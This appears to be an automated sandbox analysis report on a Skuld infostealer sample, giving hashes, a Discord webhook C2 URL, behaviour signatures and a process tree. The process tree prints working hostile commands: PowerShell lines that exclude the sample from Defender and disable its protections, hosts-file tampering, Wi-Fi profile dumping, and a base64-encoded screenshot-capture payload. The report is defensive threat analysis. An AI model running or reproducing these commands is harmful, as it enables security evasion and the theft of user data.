Analysis

  • max time kernel
    8s
  • max time network
    11s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-07-2024 04:17

General

  • Target

    Virtual.exe

  • Size

    9.5MB

  • MD5

    9b1daa6658805e529507b156c38b66bc

  • SHA1

    723ac528242dd7fc326b05c05d01f31cff6e8ce3

  • SHA256

    b67152ff3c406d1341542a941ff89e5aefefea93a8cf93837325d7f5fce76616

  • SHA512

    ab175d7b12a56bc4123970b9850364745fae8c5e221ca29c9ab7697798f6043361e143b42366bd5d0974a602572711c56323e8be8b7f7435d204978de2ce0e66

  • SSDEEP

    98304:4jNhw+CwCA27YvY33ocXIj5FTTGEg57F/Fz2hIr:0C+CwCV3ocXg5FTTjghiIr

Malware Config

Extracted

Family

skuld

C2

https://discord.com/api/webhooks/1262926533543067740/XBJE1nKhvEw7wJqFaXOEJmKXk_1awtk_zBZiDb8iqvHxjbAh7BNsQaHPn0nUd07PJWN_

Signatures

  • Skuld stealer

    An info stealer written in Go lang.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Virtual.exe
    "C:\Users\Admin\AppData\Local\Temp\Virtual.exe"
    1⤵
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Maps connected drives based on registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4000
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Local\Temp\Virtual.exe
      2⤵
      • Views/modifies file attributes
      PID:5068
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:2324
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1360
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      • Suspicious use of AdjustPrivilegeToken
      PID:2772
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
        PID:3968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\Virtual.exe
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1168
      • C:\Windows\System32\Wbem\wmic.exe
        wmic cpu get Name
        2⤵
          PID:3316
        • C:\Windows\System32\Wbem\wmic.exe
          wmic path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:4704
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:2172
        • C:\Windows\System32\Wbem\wmic.exe
          wmic csproduct get UUID
          2⤵
            PID:1764
          • C:\Windows\system32\netsh.exe
            netsh wlan show profiles
            2⤵
            • Event Triggered Execution: Netsh Helper DLL
            PID:2440
          • C:\Windows\system32\attrib.exe
            attrib -r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:2452
          • C:\Windows\system32\attrib.exe
            attrib +r C:\Windows\System32\drivers\etc\hosts
            2⤵
            • Drops file in Drivers directory
            • Views/modifies file attributes
            PID:4568
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious use of WriteProcessMemory
            PID:768
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j2n4vxzl\j2n4vxzl.cmdline"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4204
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESAF4B.tmp" "c:\Users\Admin\AppData\Local\Temp\j2n4vxzl\CSCAD43EDD4FFD6438D9FD6ACB9123050ED.TMP"
                4⤵
                  PID:5044

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6c47b3f4e68eebd47e9332eebfd2dd4e

            SHA1

            67f0b143336d7db7b281ed3de5e877fa87261834

            SHA256

            8c48b1f2338e5b24094821f41121d2221f1cb3200338f46df49f64d1c4bc3e0c

            SHA512

            0acf302a9fc971ef9df65ed42c47ea17828e54dff685f4434f360556fd27cdc26a75069f00dcdc14ba174893c6fd7a2cfd8c6c07be3ce35dafee0a006914eaca

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            ee9f1be5d4d351a5c376b370adcf0eea

            SHA1

            1779cecfb13c6a2f0f2813ae65d0d91ebdcf5583

            SHA256

            70600f0f93bca5f0548bfe5503513caadda31cbcd14dc007824b0925a8626e4b

            SHA512

            fda7345f64a6352e99bb3f5d94e58751a71d45a27147f60da32d12ff0307dbe416f482f1b9950e52ce63cbb5f0e5c1647f72dbb7a05c5419ccd8b7980ea86754

          • C:\Users\Admin\AppData\Local\Temp\RESAF4B.tmp

            Filesize

            1KB

            MD5

            38fe3e5c4d08e96e378b2179e6377e33

            SHA1

            334a14cbccedcaf60f0859995ffb78d696f7a958

            SHA256

            30b9168dfa68ec18bb6c1ad3d8441770c1f8fbcf8c43547694fc6db2dd3150ff

            SHA512

            28a26961468f002f98027eebdf90e2021bd565fa7e208c1b8f8c1be9dde12a82ebb6c72c578feab642eb4e45f82e58ccfc8a04161994485c399447dfd9e5d5dc

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ftascchm.wgo.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\j2n4vxzl\j2n4vxzl.dll

            Filesize

            4KB

            MD5

            4a9e8390d66371b4450ec61bf3ebb0d4

            SHA1

            af62748047d7c634e640340a859108276f36f583

            SHA256

            ae0acc60a29d32da3e3fff8097192a57c82e7bf6270b29cd8b5c345c2e043d9c

            SHA512

            d1e49434493d62f4ab43ba04124dfd4488d9de38f955b9a1927cd656c2d7afcd073a46ebf55a225c8ba34246ce827089dfdfc931c0d384a6949cb571b21af47d

          • C:\Users\Admin\AppData\Local\Temp\wYV5ltgd61\Display (1).png

            Filesize

            415KB

            MD5

            bdbc51685821c88283da9a6f4737d629

            SHA1

            5bc8f184993541b105a390177ce179f88a864bd2

            SHA256

            afdf48e8fcb28ff304c3ae991140d8195efdbdb14e3f388b95a2dc7ee9052fe3

            SHA512

            9720f7094ae0dba47a2ca808b74f4837a5bfdf00313333f389150981c2318730ba93b3fcd5eecd7712cf2841916ae339c0827a389e57fef18f5ccef58e4ecbd6

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            9.5MB

            MD5

            9b1daa6658805e529507b156c38b66bc

            SHA1

            723ac528242dd7fc326b05c05d01f31cff6e8ce3

            SHA256

            b67152ff3c406d1341542a941ff89e5aefefea93a8cf93837325d7f5fce76616

            SHA512

            ab175d7b12a56bc4123970b9850364745fae8c5e221ca29c9ab7697798f6043361e143b42366bd5d0974a602572711c56323e8be8b7f7435d204978de2ce0e66

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\j2n4vxzl\CSCAD43EDD4FFD6438D9FD6ACB9123050ED.TMP

            Filesize

            652B

            MD5

            ad1e62bd119b8722a0e9bf9419204384

            SHA1

            ad3b4b68779d33b54497fa044e35da17d90f804e

            SHA256

            a0e25a29aa788e82525f9b70151b9bc011a314b10d3ac76fcd40398c26571d9b

            SHA512

            016d9f01eb33b58a3b897b9f25201d08ff7221994171ecff1d1d85a00c9f97eefae7ea761d4f08cf3c2c84b01d9c061a5dcdca5834cff45070f300b8be99fa2b

          • \??\c:\Users\Admin\AppData\Local\Temp\j2n4vxzl\j2n4vxzl.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\j2n4vxzl\j2n4vxzl.cmdline

            Filesize

            607B

            MD5

            414c19d3ccd4fd6b33230fefa2808cf8

            SHA1

            2d9beaee966944c505754811e6e5e41845718c96

            SHA256

            daae5fd9b0c75c7766c520bfedc9071066c912e71c91433e3f5f8fdd18c27faf

            SHA512

            69ceaafbb3bbeed30e241cb19624151472d63d3831945f61fedef79a90b60f58c2ac1a3ecfded04981ce4ee46326f91649b84258e4ed5e0732889278950717fa

          • memory/768-64-0x0000019723AF0000-0x0000019723AF8000-memory.dmp

            Filesize

            32KB

          • memory/1168-3-0x0000022273310000-0x0000022273332000-memory.dmp

            Filesize

            136KB